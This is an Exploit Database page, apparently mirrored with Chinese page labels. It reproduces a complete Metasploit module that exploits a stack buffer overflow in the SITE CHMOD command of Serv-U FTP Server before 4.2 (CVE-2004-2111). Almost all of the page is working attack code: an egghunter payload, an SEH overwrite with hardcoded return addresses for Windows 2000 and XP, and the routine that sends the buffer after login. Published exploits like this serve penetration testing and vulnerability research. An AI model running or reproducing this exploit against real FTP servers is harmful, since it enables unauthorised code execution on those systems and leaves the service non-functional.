RhinoSoft Serv-U FTPd Server < 4.2 - Remote Buffer Overflow (Metasploit)

• Exploit Database
• 33 阅读

• 作者： Metasploit
  日期： 2011-12-02
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/18190/

• ##
  # $Id$
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::Remote::Egghunter
  	include Msf::Exploit::Remote::Ftp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Serv-U FTP Server <4.2 Buffer Overflow',
  			'Description'=> %q{
  				This module exploits a stack buffer overflow in the site chmod command
  				in versions of Serv-U FTP Server prior to 4.2.
  
  				You must have valid credentials to trigger this vulnerability. Exploitation
  				also leaves the service in a non-functional state.
  			},
  			'Author' => 'thelightcosine <thelightcosine[at]metasploit.com>',
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision$',
  			'References' =>
  				[
  					[ 'CVE', '2004-2111'],
  					[ 'BID', '9483'],
  				],
  			'Privileged' => true,
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Payload'=>
  				{
  					'BadChars'=> "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
  					'DisableNops' => true,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Windows 2000 SP0-4 EN', {
  						'Ret'=> 0x750212bc, #WS2HELP.DLL
  						'Offset' => 396 } ],
  					[ 'Windows XP SP0-1 EN', {
  						'Ret'=> 0x71aa388f, #WS2HELP.DLL
  						'Offset' => 394 } ]
  				],
  			'DisclosureDate' => 'Dec 31 2004',
  			'DefaultTarget'=> 0))
  	end
  
  	def check
  		connect
  		disconnect
  
  		if (banner =~ /Serv-U FTP Server v((4.(0|1))|3.\d)/)
  			return Exploit::CheckCode::Vulnerable
  		end
  			return Exploit::CheckCode::Safe
  	end
  
  
  	def exploit
  		connect_login
  
  		eggoptions =
  		{
  			:checksum => true,
  			:eggtag => "W00T"
  		}
  
  		hunter,egg = generate_egghunter(payload.encoded,payload_badchars,eggoptions)
  
  
  		buffer = "chmod 777 "
  		buffer <<make_nops(target['Offset'] - egg.length - hunter.length)
  		buffer << egg
  		buffer << hunter
  		buffer << "\xeb\xc9\x41\x41"	#nseh, jump back to egghunter
  		buffer << [target.ret].pack('V')	#seh
  		buffer << rand_text(5000)
  
  		print_status("Trying target #{target.name}...")
  
  		send_cmd( ['SITE', buffer] , false)
  
  		handler
  		disconnect
  	end
  
  end